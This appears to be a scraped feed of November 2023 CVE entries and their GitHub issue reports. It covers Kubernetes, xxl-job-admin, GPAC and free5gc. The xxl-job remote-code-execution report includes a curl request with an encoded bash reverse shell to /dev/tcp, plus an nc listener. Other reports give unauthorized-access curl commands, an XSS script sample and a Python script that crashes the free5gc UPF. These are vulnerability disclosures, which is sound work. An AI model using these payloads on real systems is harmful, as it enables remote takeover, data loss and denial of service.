A security issue was discovered in Kubernetes where a user that can create pods and persistent volumes on Windows nodes may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they are using an in-tree storage plugin for Windows nodes.

https://github.com/kubernetes/kubernetes/issues/121879

github.com

CVSS Rating: [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) - **HIGH** (7.2) A security issue was discovered in Kubernetes where a user that can create pods and persistent volumes on Windows nodes may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they are using an in-tree storage plugin for Windows nodes. ### Am I vulnerable? Any kubernetes environment with Windows nodes is impacted. Run `kubectl get nodes -l kubernetes.io/os=windows` to see if any Windows nodes are in use. #### Affected Versions - kubelet >= v1.8.0 (including all later minor versions) ### How do I mitigate this vulnerability? The provided patch fully mitigates the vulnerability. Outside of applying the provided patch, there are no known mitigations to this vulnerability. #### Fixed Versions - kubelet master - fixed by #121881 - kubelet v1.28.4 - fixed by #121882 - kubelet v1.27.8 - fixed by #121883 - kubelet v1.26.11 - fixed by #121884 - kubelet v1.25.16 - fixed by #121885 To upgrade, refer to the documentation: https://kubernetes.io/docs/tasks/administer-cluster/cluster-management/#upgrading-a-cluster ### Detection Kubernetes audit logs can be used to detect if this vulnerability is being exploited. Persistent Volume create events with local path fields containing special characters are a strong indication of exploitation. If you find evidence that this vulnerability has been exploited, please contact security@kubernetes.io #### Acknowledgements This vulnerability was reported by Tomer Peled [@tomerpeled92](https://github.com/tomerpeled92) The issue was fixed and coordinated by the fix team: James Sturtevant @jsturtevant Mark Rossetti @marosset Michelle Au @msau42 Jan Šafránek @jsafrane Mo Khan @enj Rita Zhang @ritazh Micah Hausler @micahhausler Sri Saran Balaji @SaranBalaji90 Craig Ingram @cji and release managers: Jeremy Rickard @jeremyrickard Marko Mudrinić @xmudrii /area security /kind bug /committee security-response /label official-cve-feed /sig windows /sig storage /area kubelet

CVE-2023-5528: Insufficient input sanitization in in-tree storage plugin leads to privilege escalation on Windows nodes

https://api.github.com/repos/kubernetes/kubernetes/issues/121879/comments

2023-11-14T15:54:16Z

2023-11-16T13:42:24Z

https://github.com/kubernetes/kubernetes/issues/121879

CVE-2023-48087

2023-11-15T15:15:07.453

xxl-job-admin 2.4.0 is vulnerable to Insecure Permissions via /xxl-job-admin/joblog/clearLog and /xxl-job-admin/joblog/logDetailCat.

https://github.com/xuxueli/xxl-job/issues/3330

github.com

### Environment MySQL 5.7.44, XXL-Job-Admin 2.4.0 Virtual Machine 1: Ubuntu 22.04.3 (as XXL-Job-Admin) Virtual Machine 2: Ubuntu 22.04.3 (as XXL-Job-Executor) ### Vulnerability Information It was found that the direct query of xxl-job-admin/joblog/clearLog and /xxl-job-admin/joblog/logDetailPage does not validate user privilege and induces risk of sensitive information leakage and loss. ### Steps to reproduce the behavior Step 1: Create a normal user without any privilege inside the web console as below  Step 2: Retrieve the cookie for the user  Step 3: Run the following command for testing log query ` curl -v -X POST "http://<IP address:port>/xxl-job-admin/joblog/logDetailCat" --cookie "XXL_JOB_LOGIN_IDENTITY=<normal user cookie>" -d 'logId=9&fromLineNum=1'`  It can show the successful log query and return 200 status. Step 4: Run the following command for log clearing ` curl -v -X POST "http://<IP address:port>/xxl-job-admin/joblog/clearLog" --cookie "XXL_JOB_LOGIN_IDENTITY=<normal user cookie>" -d 'jobGroup=0&jobId=0&type=9' `  it will return 200 status. Step 5. Show the log in the console. It will show that all log is cleared successfully by normal user. 

Permission Vulnerability of Path /xxl-job-admin/joblog/clearLog & /xxl-job-admin/joblog/logDetailCat

https://api.github.com/repos/xuxueli/xxl-job/issues/3330/comments

2023-11-08T02:32:23Z

2023-11-23T10:17:00Z

https://github.com/xuxueli/xxl-job/issues/3330

CVE-2023-48088

2023-11-15T15:15:07.510

xxl-job-admin 2.4.0 is vulnerable to Cross Site Scripting (XSS) via /xxl-job-admin/joblog/logDetailPage.

https://github.com/xuxueli/xxl-job/issues/3329

github.com

### Environment MySQL 5.7.44, XXL-Job-Admin 2.4.0 Virtual Machine 1: Ubuntu 22.04.3 (as XXL-Job-Admin) Virtual Machine 2: Ubuntu 22.04.3 (as XXL-Job-Executor) ### Vulnerability Information During the query of /xxl-job-admin/joblog/logDetailPage, the xxl-job-admin will query the related log directly in the machine and show it in the console in HTML format even if the log appears in <script> </script> format ### Steps to reproduce the behavior Step 1: Modify the application log in default path of XXL-Job-Executor and add malicious javascript ` cd /data/applogs/xxl-job/jobhandler/yyyy-mm-dd/`  Example malicious code `<script>alert(Test123);</script>`  Step 2: Login to the XXL-Job-Admin console by admin user and navigate to Log Query Page Check the log by querying log id  Step 3: Alert will show here 

XSS attack appears in /xxl-job-admin/joblog/logDetailPage

https://api.github.com/repos/xuxueli/xxl-job/issues/3329/comments

2023-11-08T02:03:54Z

2023-11-23T09:50:55Z

https://github.com/xuxueli/xxl-job/issues/3329

CVE-2023-48089

2023-11-15T15:15:07.553

xxl-job-admin 2.4.0 is vulnerable to Remote Code Execution (RCE) via /xxl-job-admin/jobcode/save.

https://github.com/xuxueli/xxl-job/issues/3333

github.com

### Environment MySQL 5.7.44, XXL-Job-Admin 2.4.0 Virtual Machine 1: Ubuntu 22.04.3 (as XXL-Job-Admin) Virtual Machine 2: Ubuntu 22.04.3 (as XXL-Job-Executor) ### Vulnerability Information It was found that the /xxl-job-admin/jobcode/save does not validate user privilege. The modification of code in running cronjob for job executor does not require privileged user access. By leveraging the vulnerability, users could craft HTTP requests to modify and run arbitrary code (e.g., sensitive information disclosure OR reverse shell) on the job executor. ### Steps to reproduce the behavior Step 1: Create a listener `nc -nlvp 8888`  Step 2: Create a unprivileged user and get its cookie   Step 3: Craft an HTTP request for job code saving. This demonstration will be a reverse shell payload. `curl http://<IP Address>:<Port>/xxl-job-admin/jobcode/save --cookie "xxljob_adminlte_settings=on; XXL_JOB_LOGIN_IDENTITY=<Unprivileged Cookie>" -d "id=2&glueSource=%23%2Fbin%2Fbash%0Abash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<Reverse shell IP>%2F<Reverse shell port>%200%3E%261&glueRemark=Test"`  Step 4. Trigger the cronjob/wait until cronjob executes. A reverse shell will be executed.  

Remote Code Execution in /xxl-job-admin/jobcode/save

https://api.github.com/repos/xuxueli/xxl-job/issues/3333/comments

2023-11-08T14:08:58Z

2024-01-31T07:07:15Z

https://github.com/xuxueli/xxl-job/issues/3333

CVE-2023-48011

2023-11-15T19:15:07.693

GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a heap-use-after-free via the flush_ref_samples function at /gpac/src/isomedia/movie_fragments.c.

https://github.com/gpac/gpac/issues/2611

github.com

# Version ``` $ ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master ``` # Platform ``` $ uname -a Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux ``` # Asan ``` [33m[iso file] extra box maxr found in hinf, deleting [0m[32m[iso file] Unknown box type traI in parent moov [0m[33m[iso file] Box "stss" (start 9939) has 32 extra bytes [0m[33m[iso file] extra box maxr found in hinf, deleting [0m[33m[iso file] Track with no sample description box ! [0m[33m[IsoMedia] Track 4 type MPEG not natively handled [0m[32m[Dasher] No template assigned, using $File$_dash$FS$$Number$ [0m[32m[iso file] Unknown box type traI in parent moov [0m[33m[MP4Mux] muxing unknown codec ID Codec Not Supported, using generic sample entry with 4CC "MPEG" [0m[31m[IsoMedia] File truncated, aborting read for track 1 [0m[37mDashing P1 AS#1.1(V) done (1 segs) [0m[31m[MP4Mux] Failed to add sample DTS 0 from O7 - prev DTS 18446744073709551615: Out Of Memory [0m================================================================= ==836900==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000001d88 at pc 0x7f57c0120bf1 bp 0x7ffeac405a70 sp 0x7ffeac405a68 READ of size 8 at 0x60b000001d88 thread T0 #0 0x7f57c0120bf0 in flush_ref_samples /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37 #1 0x7f57c0128df2 in gf_isom_close_segment /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:2331:4 #2 0x7f57c0cfd198 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6734:8 #3 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14 #4 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7 #5 0x7f57c097d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3 #6 0x7f57c097b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3 #7 0x7f57c022ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6 #8 0x55ff536546dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15 #9 0x55ff53645b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7 #10 0x7f57bf229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #11 0x7f57bf229e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #12 0x55ff5356ddd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) 0x60b000001d88 is located 104 bytes inside of 112-byte region [0x60b000001d20,0x60b000001d90) freed by thread T0 here: #0 0x55ff535f0972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f57c001e6f5 in gf_isom_box_del /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2005:3 previously allocated by thread T0 here: #0 0x55ff535f0c1e in malloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105c1e) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f57bff95c5a in trun_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_code_base.c:7805:2 #2 0x7f57c0026335 in gf_isom_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:1896:9 #3 0x7f57c0026335 in gf_isom_box_new_parent /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2351:14 #4 0x7f57c0d06f05 in mp4_mux_process_sample /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:4915:9 #5 0x7f57c0cf85a4 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6653:8 #6 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14 #7 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7 SUMMARY: AddressSanitizer: heap-use-after-free /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples Shadow bytes around the buggy address: 0x0c167fff8360: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff8370: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c167fff8380: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa 00 00 0x0c167fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 0x0c167fff83a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c167fff83b0: fd[fd]fa fa fa fa fa fa fa fa fd fd fd fd fd fd 0x0c167fff83c0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa 0x0c167fff83d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa 0x0c167fff83e0: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd 0x0c167fff83f0: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd 0x0c167fff8400: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==836900==ABORTING ``` # Reproduce ``` ./MP4Box -dash 10000 poc ``` # POC File https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/huaf_936 # Credit ``` Gandalf4a ```

heap-use-after-free in ./gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples

https://api.github.com/repos/gpac/gpac/issues/2611/comments

2023-10-08T16:10:40Z

2023-10-12T14:08:21Z

https://github.com/gpac/gpac/issues/2611

CVE-2023-48013

2023-11-15T19:15:07.753

GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a double free via the gf_filterpacket_del function at /gpac/src/filter_core/filter.c.

https://github.com/gpac/gpac/issues/2612

github.com

# Version ``` $ ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master ``` # Platform ``` $ uname -a Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux ``` # Asan ``` /home/user/vul/MP4Box_crash/id000037sig06src002502time27968081execs258947ophavocrep16 [32m[iso file] Unknown box type 00000000 in parent moov [0m[32m[iso file] Unknown top-level box type 00000100 [0m[32m[Dasher] No template assigned, using $File$_dash$FS$$Number$ [0m[32m[Dasher] No bitrate property assigned to PID V1, computing from bitstream [0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2 [0m[32m[iso file] Unknown box type 00000000 in parent moov [0m[33m[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 18446744073709551615/12288 [0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2 [0m[31m[MuxIsom] Packet with no CTS assigned, cannot store to track, ignoring [0m[31m[IsoMedia] File truncated, aborting read for track 1 [0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2 [0m[37mDashing P1 AS#1.1(V) done (1 segs) [0m[31m[Dasher] Couldn't compute bitrate of PID V1 in time for manifest generation, please specify #Bitrate property [0m[31m[Dasher] Couldn't compute bitrate of PID V1 in time for manifest generation, please specify #Bitrate property [0m[32m[MPD] Generating MPD at time 2023-10-08T12:38:38.043Z [0m[32m[Dasher] End of Period [0m[32m[Dasher] End of MPD (no more active streams) [0m================================================================= ==827317==ERROR: AddressSanitizer: attempting double-free on 0x619000015980 in thread T0: #0 0x55e7797a5972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f525cd97945 in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17 #2 0x7f525cd6a022 in gf_fq_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_queue.c:105:33 #3 0x7f525cda14e5 in gf_filter_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:664:3 #4 0x7f525cd6ede9 in gf_fs_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:782:4 #5 0x7f525c6283f6 in gf_dasher_clean_inputs /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:164:3 #6 0x7f525c6283f6 in gf_dasher_del /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:173:2 #7 0x55e779809d2d in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4894:2 #8 0x55e7797fab6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7 #9 0x7f525b629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #10 0x7f525b629e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #11 0x55e779722dd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) 0x619000015980 is located 0 bytes inside of 1084-byte region [0x619000015980,0x619000015dbc) freed by thread T0 here: #0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f525c4f7ab6 in Media_GetSample /home/user/fuzzing_gpac/gpac/src/isomedia/media.c:619:30 #2 0x7f525c45d7b3 in gf_isom_get_sample_ex /home/user/fuzzing_gpac/gpac/src/isomedia/isom_read.c:1975:6 #3 0x7f525d05a156 in isor_reader_get_sample /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read_ch.c:398:19 #4 0x7f525d04d2d5 in isoffin_process /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read.c:1486:5 #5 0x7f525cdafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7 previously allocated by thread T0 here: LLVMSymbolizer: error reading file: No such file or directory #0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f525cd00add in gf_filter_pck_expand /home/user/fuzzing_gpac/gpac/src/filter_core/filter_pck.c:1846:15 #2 0x7ffd05c3a8df ([stack]+0x328df) SUMMARY: AddressSanitizer: double-free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) in free ==827317==ABORTING ``` # Reproduce ``` ./MP4Box -dash 10000 poc ``` # POC File https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/df_105972 # Credit ``` Gandalf4a ```

double-free in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17

https://api.github.com/repos/gpac/gpac/issues/2612/comments

2023-10-08T16:13:47Z

2023-10-12T14:17:39Z

https://github.com/gpac/gpac/issues/2612

CVE-2023-48014

2023-11-15T19:15:07.803

GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a stack overflow via the hevc_parse_vps_extension function at /media_tools/av_parsers.c.

https://github.com/gpac/gpac/issues/2613

github.com

# Version ``` $ ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master ``` # Platform ``` $ uname -a Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux ``` # Asan ``` /home/user/vul/MP4Box_crash/id000085sig06src003627time38285673execs366724ophavocrep8 [31m[HEVC] Error parsing NAL unit type 2 [0m================================================================= ==833362==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdcf3828d0 at pc 0x7f6e8e6ab0c1 bp 0x7ffdcf382870 sp 0x7ffdcf382868 WRITE of size 1 at 0x7ffdcf3828d0 thread T0 #0 0x7f6e8e6ab0c0 in hevc_parse_vps_extension /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7735:42 #1 0x7f6e8e66492e in gf_hevc_read_vps_bs_internal /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:8095:9 #2 0x7f6e8e66b0e5 in gf_hevc_parse_nalu_bs /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:8756:30 #3 0x7f6e8f25c2ca in naludmx_check_dur /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:576:10 #4 0x7f6e8f264622 in naludmx_check_pid /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:1826:3 #5 0x7f6e8f252dc5 in naludmx_process /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:3370:4 #6 0x7f6e8edafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7 #7 0x7f6e8ed7d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3 #8 0x7f6e8ed7b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3 #9 0x7f6e8e62ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6 #10 0x5572d97a66dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15 #11 0x5572d9797b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7 #12 0x7f6e8d629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #13 0x7f6e8d629e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #14 0x5572d96bfdd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) Address 0x7ffdcf3828d0 is located in stack of thread T0 at offset 80 in frame #0 0x7f6e8e6a4abf in hevc_parse_vps_extension /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7690 This frame has 12 object(s): [32, 48) 'dimension_id_len' (line 7693) [64, 80) 'dim_bit_offset' (line 7693) <== Memory access at offset 80 overflows this variable [96, 100) 'layer_set_idx_for_ols_minus1' (line 7695) [112, 117) 'nb_output_layers_in_output_layer_set' (line 7696) [144, 149) 'ols_highest_output_layer_id' (line 7697) [176, 240) 'num_direct_ref_layers' (line 7700) [272, 336) 'num_pred_layers' (line 7700) [368, 372) 'num_layers_in_tree_partition' (line 7700) [384, 400) 'dependency_flag' (line 7701) [416, 672) 'id_pred_layers' (line 7701) [736, 800) 'layer_id_in_list_flag' (line 7706) [832, 896) 'OutputLayerFlag' (line 7707) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7735:42 in hevc_parse_vps_extension Shadow bytes around the buggy address: 0x100039e684c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100039e684d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100039e684e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100039e684f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100039e68500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100039e68510: f1 f1 f1 f1 00 00 f2 f2 00 00[f2]f2 04 f2 05 f2 0x100039e68520: f2 f2 05 f2 f2 f2 00 00 00 00 00 00 00 00 f2 f2 0x100039e68530: f2 f2 00 00 00 00 00 00 00 00 f2 f2 f2 f2 04 f2 0x100039e68540: 00 00 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 0x100039e68550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100039e68560: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==833362==ABORTING ``` # Reproduce ``` ./MP4Box -dash 10000 poc ``` # POC File https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/sbo_7735 # Credit ``` Gandalf4a ```

stack-buffer-overflow in /gpac/src/media_tools/av_parsers.c:7735:42 in hevc_parse_vps_extension

https://api.github.com/repos/gpac/gpac/issues/2613/comments

2023-10-08T16:15:17Z

2023-10-12T14:46:27Z

https://github.com/gpac/gpac/issues/2613

CVE-2023-47345

2023-11-15T22:15:27.877

Buffer Overflow vulnerability in free5gc 3.3.0 allows attackers to cause a denial of service via crafted PFCP message with malformed PFCP Heartbeat message whose Recovery Time Stamp IE length is mutated to zero.

https://github.com/free5gc/free5gc/issues/483

github.com

[Bugs] UPF crash caused by malformed PFCP messages whose 1st IE length is mutated to zero ## Describe the bug While fuzzing the free5gc UPF for some PFCP basic and security features, I could trigger several crashes when send malformed PFCP Heartbeat Request whose Recovery Time Stamp IE length is mutated to zero. This could cause DOS of any UPF instance, all memory issues due to this kind of PFCP messages are caught by the GO memory runtime, which would casue a panic and crash. ## To Reproduce Steps to reproduce the behavior: 1. Build the UPF with source code 2. Run the bin/upf with default config/upfcfg.yaml 3. Run the following POC python script ```python #!/usr/bin/env python3 import socket udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_socket.settimeout(1.0) pfcp_association_setup_request = b'\x20\x05\x00\x1f\x00\x00\x01\x00\x00\x3c\x00\x05\x00\x0a\x64\xc8\x64\x00\x60\x00\x04\xe8\x1f\xdc\x30\x00\x2b\x00\x06\x21\x00\x00\x00\x00\x00' """ PFCP Heartbeat Request with a Recovery Time Stamp IE whose length is mutated to zero """ pfcp_heartbeat_request = b'\x20\x01\x00\x0c\x00\x00\x02\x00\x00\x60\x00\x00\xe8\x1f\xe7\xb4' udp_socket.sendto(pfcp_association_setup_request, ('127.0.0.8', 8805)) try: udp_socket.recv(65535) except Exception as exception: print(f"Receive failed: {exception}") udp_socket.sendto(pfcp_heartbeat_request, ('127.0.0.8', 8805)) try: udp_socket.recv(65535) except Exception as exception: print(f"Receive failed: {exception}") udp_socket.close() ``` ## Expected behavior Any people could leverage this to cause DOS and resource consumption against a pool of UPF. As much as possible, check the IE length of PFCP messages, update handling logic or just drop them to avoid frequent crashes. This will greatly improve the availability, stability, and security of free5gc UPF. ## Screenshots No special screenshot is provided. ## Environment (please complete the following information): - free5GC Version: v3.3.0 - OS: Ubuntu 20.04 - Kernel version: 5.4.5-050405-generic - go version: go1.21.1 linux/amd64 ## Trace File ### Configuration File No specific configuration is required. ### PCAP File No specific pcap file is provided. ### Log File ```bash time="2023-09-22T03:24:35.891194467+08:00" level="info" msg="UPF version: \n\tNot specify ldflags (which link version) during go build\n\tgo version: go1.21.1 linux/amd64" CAT="Main" NF="UPF" time="2023-09-22T03:24:35.904235696+08:00" level="info" msg="Read config from [upfcfg.yaml]" CAT="CFG" NF="UPF" time="2023-09-22T03:24:35.904663072+08:00" level="info" msg="==================================================" CAT="CFG" NF="UPF" time="2023-09-22T03:24:35.904772210+08:00" level="info" msg="(*factory.Config)(0xc0000147d0)({\n\tVersion: (string) (len=5) \"1.0.3\",\n\tDescription: (string) (len=31) \"UPF initial local configuration\",\n\tPfcp: (*factory.Pfcp)(0xc00006f170)({\n\t\tAddr: (string) (len=9) \"127.0.0.8\",\n\t\tNodeID: (string) (len=9) \"127.0.0.8\",\n\t\tRetransTimeout: (time.Duration) 1s,\n\t\tMaxRetrans: (uint8) 3\n\t}),\n\tGtpu: (*factory.Gtpu)(0xc00006f320)({\n\t\tForwarder: (string) (len=5) \"gtp5g\",\n\t\tIfList: ([]factory.IfInfo) (len=1 cap=1) {\n\t\t\t(factory.IfInfo) {\n\t\t\t\tAddr: (string) (len=9) \"127.0.0.8\",\n\t\t\t\tType: (string) (len=2) \"N3\",\n\t\t\t\tName: (string) \"\",\n\t\t\t\tIfName: (string) \"\",\n\t\t\t\tMTU: (uint32) 0\n\t\t\t}\n\t\t}\n\t}),\n\tDnnList: ([]factory.DnnList) (len=1 cap=1) {\n\t\t(factory.DnnList) {\n\t\t\tDnn: (string) (len=8) \"internet\",\n\t\t\tCidr: (string) (len=12) \"10.60.0.0/24\",\n\t\t\tNatIfName: (string) \"\"\n\t\t}\n\t},\n\tLogger: (*factory.Logger)(0xc000022e40)({\n\t\tEnable: (bool) true,\n\t\tLevel: (string) (len=4) \"info\",\n\t\tReportCaller: (bool) false\n\t})\n})\n" CAT="CFG" NF="UPF" time="2023-09-22T03:24:35.905047979+08:00" level="info" msg="==================================================" CAT="CFG" NF="UPF" time="2023-09-22T03:24:35.905060906+08:00" level="info" msg="Log level is set to [info]" CAT="Main" NF="UPF" time="2023-09-22T03:24:35.905071569+08:00" level="info" msg="Report Caller is set to [false]" CAT="Main" NF="UPF" time="2023-09-22T03:24:35.905097803+08:00" level="info" msg="starting Gtpu Forwarder [gtp5g]" CAT="Main" NF="UPF" time="2023-09-22T03:24:35.905106855+08:00" level="info" msg="GTP Address: \"127.0.0.8:2152\"" CAT="Main" NF="UPF" time="2023-09-22T03:24:35.955858915+08:00" level="info" msg="buff netlink server started" CAT="BUFF" NF="UPF" time="2023-09-22T03:24:35.956003408+08:00" level="info" msg="perio server started" CAT="Perio" NF="UPF" time="2023-09-22T03:24:35.956021132+08:00" level="info" msg="Forwarder started" CAT="Gtp5g" NF="UPF" time="2023-09-22T03:24:35.965098244+08:00" level="info" msg="starting pfcp server" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF" time="2023-09-22T03:24:35.965152469+08:00" level="info" msg="pfcp server started" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF" 